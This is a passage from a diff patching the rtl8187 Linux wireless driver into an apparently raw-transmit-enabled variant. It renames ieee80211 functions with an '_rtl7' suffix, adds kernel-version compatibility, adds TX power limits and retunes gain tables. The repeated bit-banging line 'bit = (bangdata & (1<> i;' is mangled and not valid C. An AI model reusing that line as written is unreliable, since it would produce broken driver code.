net_device *dev,short ch); - + /* These are not used if the ieee stack takes care of - * scanning (IEEE_SOFTMAC_SCAN feature set). + * scanning (IEEE_SOFTMAC_SCAN feature set). * In this case only the set_chan is used. * * The syncro version is similar to the start_scan but * does not return until all channels has been scanned. - * this is called in user context and should sleep, + * this is called in user context and should sleep, * it is called in a work_queue when swithcing to ad-hoc mode - * or in behalf of iwlist scan when the card is associated - * and root user ask for a scan. + * or in behalf of iwlist scan when the card is associated + * and root user ask for a scan. * the fucntion stop_scan should stop both the syncro and * background scanning and can sleep. - * The fucntion start_scan should initiate the background + * The fucntion start_scan should initiate the background * scanning and can't sleep. - */ + */ void (*scan_syncro)(struct net_device *dev); void (*start_scan)(struct net_device *dev); void (*stop_scan)(struct net_device *dev); - + /* indicate the driver that the link state is changed * for example it may indicate the card is associated now. - * Driver might be interested in this to apply RX filter - * rules or simply light the LINK led + * Driver might be interested in this to apply RX filter + * rules or simply light the LINK led */ void (*link_change)(struct net_device *dev); - + /* these two function indicates to the HW when to start - * and stop to send beacons. This is used when the + * and stop to send beacons. This is used when the * IEEE_SOFTMAC_BEACONS is not set. For now the * stop_send_bacons is NOT guaranteed to be called only * after start_send_beacons. */ void (*start_send_beacons) (struct net_device *dev); void (*stop_send_beacons) (struct net_device *dev); - + /* power save mode related */ void (*sta_wake_up) (struct net_device *dev); void (*ps_request_tx_ack) (struct net_device *dev); void (*enter_sleep_state) (struct net_device *dev, u32 th, u32 tl); short (*ps_is_queue_empty) (struct net_device *dev); - - + + /* This must be the last item so that it points to the data * allocated beyond this structure by alloc_ieee80211 */ u8 priv[0]; @@ -1148,18 +1170,18 @@ #define IEEE_SOFTMAC_SINGLE_QUEUE (1<<8) /* Generate beacons. The stack will enqueue beacons - * to the card - */ + * to the card + */ #define IEEE_SOFTMAC_BEACONS (1<<6) -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); - -extern int ieee80211_xmit(struct sk_buff *skb, + +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *ext); - -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); - -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); + +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); - -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, + +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, + +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, - struct iw_request_info *info, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, - struct iw_request_info *info, + +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); - -extern const long ieee80211_wlan_frequencies[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern const long ieee80211_wlan_frequencies_rtl7[]; + +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } @@ -1390,4 +1416,5 @@ *d = '\0'; return escaped; } + #endif /* IEEE80211_H */ diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile --- rtl8187_linux_26.1010.0622.2006/beta-8187/Makefile 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/Makefile 2008-01-30 17:38:10.000000000 +0100 @@ -18,6 +18,8 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) + all: modules clean: diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_93cx6.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.c 2008-01-30 17:38:10.000000000 +0100 @@ -87,7 +87,7 @@ u32 eprom_read(struct net_device *dev, u32 addr) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short read_cmd[]={1,1,0}; short addr_str[8]; int i; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_hw.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_hw.h 2008-01-30 17:38:11.000000000 +0100 @@ -646,6 +646,7 @@ #define FFER_INTR ((1<<15)) #define FFER_GWAKE ((1<< 4)) - +#define MAX_TX_POWER 27 +#define MIN_TX_POWER 20 #endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.c 2008-01-30 17:38:11.000000000 +0100 @@ -173,7 +173,7 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); @@ -208,7 +208,7 @@ { #ifdef USE_8051_3WIRE - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev); struct usb_device *udev = priv->udev; //u8 bit; u16 wReg80, wReg82, wReg84; @@ -255,7 +255,7 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); out = read_nic_word(dev, RFPinsOutput) & 0xfff3; @@ -349,7 +349,7 @@ void rtl8225_SetTXPowerLevel(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int GainIdx; int GainSetting; @@ -454,9 +454,9 @@ void rtl8225_rf_set_chan(struct net_device *dev, short ch) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); short gset = (priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_54g(priv->ieee80211->current_network)) || + ieee80211_is_54g_rtl7(priv->ieee80211->current_network)) || priv->ieee80211->iw_mode == IW_MODE_MONITOR; rtl8225_SetTXPowerLevel(dev, ch); @@ -474,7 +474,7 @@ write_nic_byte(dev,DIFS,0x24); //DIFS: 36 if(priv->ieee80211->state == IEEE80211_LINKED && - ieee80211_is_shortslot(priv->ieee80211->current_network)) + ieee80211_is_shortslot_rtl7(priv->ieee80211->current_network)) write_nic_byte(dev,SLOT,0x9); //SLOT: 9 else @@ -546,7 +546,7 @@ void rtl8225_rf_init(struct net_device *dev) { - struct r8180_priv *priv = ieee80211_priv(dev); + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); int i; short channel = 1; u16 brsr; diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.h 2008-01-30 17:38:11.000000000 +0100 @@ -44,3 +44,5 @@ extern u32 rtl8225_chan[]; #endif + +void rtl8225z2_SetTXPowerLevel(struct net_device *dev, short ch); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8180_rtl8225z2.c 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.c 2008-02-15 00:49:20.000000000 +0100 @@ -2,12 +2,12 @@ This is part of the rtl8180-sa2400 driver released under the GPL (See file COPYING for details). Copyright (c) 2005 Andrea Merello - - This files contains programming code for the rtl8225 + + This files contains programming code for the rtl8225 radio frontend. - + *Many* thanks to Realtek Corp. for their great support! - + */ @@ -32,51 +32,68 @@ }; u8 rtl8225z2_gain_a[]={ - 0x13,0x27,0x5a,//,0x37,// -82dbm - 0x23,0x23,0x58,//,0x37,// -82dbm - 0x33,0x1f,0x56,//,0x37,// -82dbm - 0x43,0x1b,0x54,//,0x37,// -78dbm - 0x53,0x17,0x51,//,0x37,// -74dbm - 0x63,0x24,0x4f,//,0x37,// -70dbm - 0x73,0x0f,0x4c,//,0x37,// -66dbm + 0x13,0x27,0x5a,//,0x37,// -82dbm + 0x23,0x23,0x58,//,0x37,// -82dbm + 0x33,0x1f,0x56,//,0x37,// -82dbm + 0x43,0x1b,0x54,//,0x37,// -78dbm + 0x53,0x17,0x51,//,0x37,// -74dbm + 0x63,0x24,0x4f,//,0x37,// -70dbm + 0x73,0x0f,0x4c,//,0x37,// -66dbm }; #if 0 u32 rtl8225_chan[] = { 0, //dummy channel 0 - 0x085c, //1 - 0x08dc, //2 - 0x095c, //3 - 0x09dc, //4 - 0x0a5c, //5 - 0x0adc, //6 - 0x0b5c, //7 - 0x0bdc, //8 - 0x0c5c, //9 - 0x0cdc, //10 - 0x0d5c, //11 - 0x0ddc, //12 - 0x0e5c, //13 + 0x085c, //1 + 0x08dc, //2 + 0x095c, //3 + 0x09dc, //4 + 0x0a5c, //5 + 0x0adc, //6 + 0x0b5c, //7 + 0x0bdc, //8 + 0x0c5c, //9 + 0x0cdc, //10 + 0x0d5c, //11 + 0x0ddc, //12 + 0x0e5c, //13 //0x0f5c, //14 - 0x0f72, // 14 + 0x0f72, // 14 }; #endif +#if 1 //- -u16 rtl8225z2_rxgain[]={ +u16 rtl8225z2_rxgain[]={ 0x0400, 0x0401, 0x0402, 0x0403, 0x0404, 0x0405, 0x0408, 0x0409, - 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, + 0x040a, 0x040b, 0x0502, 0x0503, 0x0504, 0x0505, 0x0540, 0x0541, 0x0542, 0x0543, 0x0544, 0x0545, 0x0580, 0x0581, 0x0582, 0x0583, - 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, + 0x0584, 0x0585, 0x0588, 0x0589, 0x058a, 0x058b, 0x0643, 0x0644, 0x0645, 0x0680, 0x0681, 0x0682, 0x0683, 0x0684, 0x0685, 0x0688, 0x0689, 0x068a, 0x068b, 0x068c, 0x0742, 0x0743, 0x0744, 0x0745, 0x0780, 0x0781, 0x0782, 0x0783, 0x0784, 0x0785, 0x0788, 0x0789, 0x078a, 0x078b, 0x078c, 0x078d, 0x0790, 0x0791, 0x0792, 0x0793, - 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, - 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, - 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x0794, 0x0795, 0x0798, 0x0799, 0x079a, 0x079b, 0x079c, 0x079d, + 0x07a0, 0x07a1, 0x07a2, 0x07a3, 0x07a4, 0x07a5, 0x07a8, 0x07a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb }; +#else +u16 rtl8225z2_rxgain[]={ + 0x0000, 0x0001, 0x0002, 0x0003, 0x0004, 0x0005, 0x0008, 0x0009, + 0x000a, 0x000b, 0x0102, 0x0103, 0x0104, 0x0105, 0x0140, 0x0141, + 0x0142, 0x0143, 0x0144, 0x0145, 0x0180, 0x0181, 0x0182, 0x0183, + 0x0184, 0x0185, 0x0188, 0x0189, 0x018a, 0x018b, 0x0243, 0x0244, + 0x0245, 0x0280, 0x0281, 0x0282, 0x0283, 0x0284, 0x0285, 0x0288, + 0x0289, 0x028a, 0x028b, 0x028c, 0x0342, 0x0343, 0x0344, 0x0345, + 0x0380, 0x0381, 0x0382, 0x0383, 0x0384, 0x0385, 0x0388, 0x0389, + 0x038a, 0x038b, 0x038c, 0x038d, 0x0390, 0x0391, 0x0392, 0x0393, + 0x0394, 0x0395, 0x0398, 0x0399, 0x039a, 0x039b, 0x039c, 0x039d, + 0x03a0, 0x03a1, 0x03a2, 0x03a3, 0x03a4, 0x03a5, 0x03a8, 0x03a9, + 0x03aa, 0x03ab, 0x03ac, 0x03ad, 0x03b0, 0x03b1, 0x03b2, 0x03b3, + 0x03b4, 0x03b5, 0x03b8, 0x03b9, 0x03ba, 0x03bb, 0x03bb +}; +#endif //2005.11.16, u8 ZEBRA2_CCK_OFDM_GAIN_SETTING[]={ @@ -129,23 +146,30 @@ void rtl8225z2_set_gain(struct net_device *dev, short gain) { u8* rtl8225_gain; - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + u8 mode = priv->ieee80211->mode; - - if(mode == IEEE_B || mode == IEEE_G) + + if((mode&IEEE_B) == IEEE_B || (mode&IEEE_G) == IEEE_G) { + //printk(KERN_WARNING "mode ag!\n"); rtl8225_gain = rtl8225z2_gain_bg; - else + } else { rtl8225_gain = rtl8225z2_gain_a; - + //printk(KERN_WARNING "mode a!\n"); + } + //write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 3]); //write_phy_ofdm(dev, 0x19, rtl8225_gain[gain * 3 + 1]); //write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 2]); //2005.11.17, by ch-hsu write_phy_ofdm(dev, 0x0b, rtl8225_gain[gain * 3]); + mdelay(1); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 3 + 1]); + mdelay(1); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 3 + 2]); - write_phy_ofdm(dev, 0x21, 0x37); + mdelay(1); + write_phy_ofdm(dev, 0x21, 0x17); + mdelay(1); } @@ -153,33 +177,33 @@ void rtl8225_set_gain(struct net_device *dev, short gain) { - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); - + if(priv->card_8185 == 2) write_phy_ofdm(dev, 0x21, 0x27); else write_phy_ofdm(dev, 0x21, 0x37); - + write_phy_ofdm(dev, 0x25, 0x20); write_phy_ofdm(dev, 0x11, 0x6); - + if(priv->card_8185 == 1 && priv->card_8185_Bversion) write_phy_ofdm(dev, 0x27, 0x8); else write_phy_ofdm(dev, 0x27, 0x88); - + write_phy_ofdm(dev, 0x14, 0); write_phy_ofdm(dev, 0x16, 0); write_phy_ofdm(dev, 0x15, 0x40); write_phy_ofdm(dev, 0x17, 0x40); - + write_phy_ofdm(dev, 0x0d, rtl8225_gain[gain * 4]); write_phy_ofdm(dev, 0x23, rtl8225_gain[gain * 4 + 1]); write_phy_ofdm(dev, 0x1b, rtl8225_gain[gain * 4 + 2]); write_phy_ofdm(dev, 0x1d, rtl8225_gain[gain * 4 + 3]); - //rtl8225_set_gain_usb(dev, gain); + //rtl8225_set_gain_usb(dev, gain); } #endif @@ -193,7 +217,7 @@ // ThreeWireReg tdata; int i; short bit, rw; - + u8 wLength = 6; u8 rLength = 12; u8 low2high = 0; @@ -207,20 +231,20 @@ dataRead = 0; - oval &= ~0xf; + oval &= ~0xf; write_nic_word(dev, RFPinsOutput, oval | BB_HOST_BANG_EN ); udelay(4); write_nic_word(dev, RFPinsOutput, oval ); udelay(5); - + rw = 0; - + mask = (low2high) ? 0x01 : (((u32)0x01)<<(32-1)); for(i = 0; i < wLength/2; i++) { bit = ((data2Write&mask) != 0) ? 1 : 0; write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(1); - + write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); write_nic_word(dev, RFPinsOutput, bit|oval | BB_HOST_BANG_CLK | rw); udelay(2); @@ -233,9 +257,9 @@ write_nic_word(dev, RFPinsOutput, bit|oval | rw); udelay(2); break; } - + bit = ((data2Write&mask) != 0) ? 1: 0; - + write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, oval|bit|rw| BB_HOST_BANG_CLK); udelay(2); @@ -252,22 +276,22 @@ for(i = 0; i < rLength; i++) { write_nic_word(dev, RFPinsOutput, rw|oval); udelay(1); - + write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); write_nic_word(dev, RFPinsOutput, rw|oval|BB_HOST_BANG_CLK); udelay(2); tmp = read_nic_word(dev, RFPinsInput); - + dataRead |= (tmp & BB_HOST_BANG_CLK ? mask : 0); write_nic_word(dev, RFPinsOutput, (rw|oval)); udelay(2); mask = (low2high) ? (mask<<1) : (mask>>1); } - + write_nic_word(dev, RFPinsOutput, BB_HOST_BANG_EN|BB_HOST_BANG_RW|oval); udelay(2); - write_nic_word(dev, RFPinsEnable, oval2); + write_nic_word(dev, RFPinsEnable, oval2); write_nic_word(dev, RFPinsSelect, oval3); // Set To SW Switch write_nic_word(dev, RFPinsOutput, 0x3a0); @@ -280,61 +304,61 @@ u16 out,select; u8 bit; u32 bangdata = (data << 4) | (adr & 0xf); - struct r8180_priv *priv = ieee80211_priv(dev); - + struct r8180_priv *priv = ieee80211_priv_rtl7(dev); + out = read_nic_word(dev, RFPinsOutput) & 0xfff3; - + write_nic_word(dev,RFPinsEnable, (read_nic_word(dev,RFPinsEnable) | 0x7)); - + select = read_nic_word(dev, RFPinsSelect); - - write_nic_word(dev, RFPinsSelect, select | 0x7 | + + write_nic_word(dev, RFPinsSelect, select | 0x7 | ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); - + force_pci_posting(dev); udelay(10); - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN );//| 0x1fff); - + force_pci_posting(dev); udelay(2); - + write_nic_word(dev, RFPinsOutput, out); - + force_pci_posting(dev); udelay(10); - - + + for(i=15; i>=0;i--){ - + bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out); - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); i--; bit = (bangdata & (1<> i; - + write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out | BB_HOST_BANG_CLK); write_nic_word(dev, RFPinsOutput, bit | out); } - + write_nic_word(dev, RFPinsOutput, out | BB_HOST_BANG_EN); - + force_pci_posting(dev); udelay(10); - write_nic_word(dev, RFPinsOutput, out | + write_nic_word(dev, RFPinsOutput, out | ((priv->card_type == USB) ? 4 : BB_HOST_BANG_EN)); - write_nic_word(dev, RFPinsSelect, select | - ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); + write_nic_word(dev, RFPinsSelect, select | + ((priv->card_type == USB) ? 0 : SW_CONTROL_GPIO)); if(priv->card_type == USB) mdelay(2); @@ -348,30 +372,30 @@ short vz2 = 1; /* sw to reg pg 1 */ 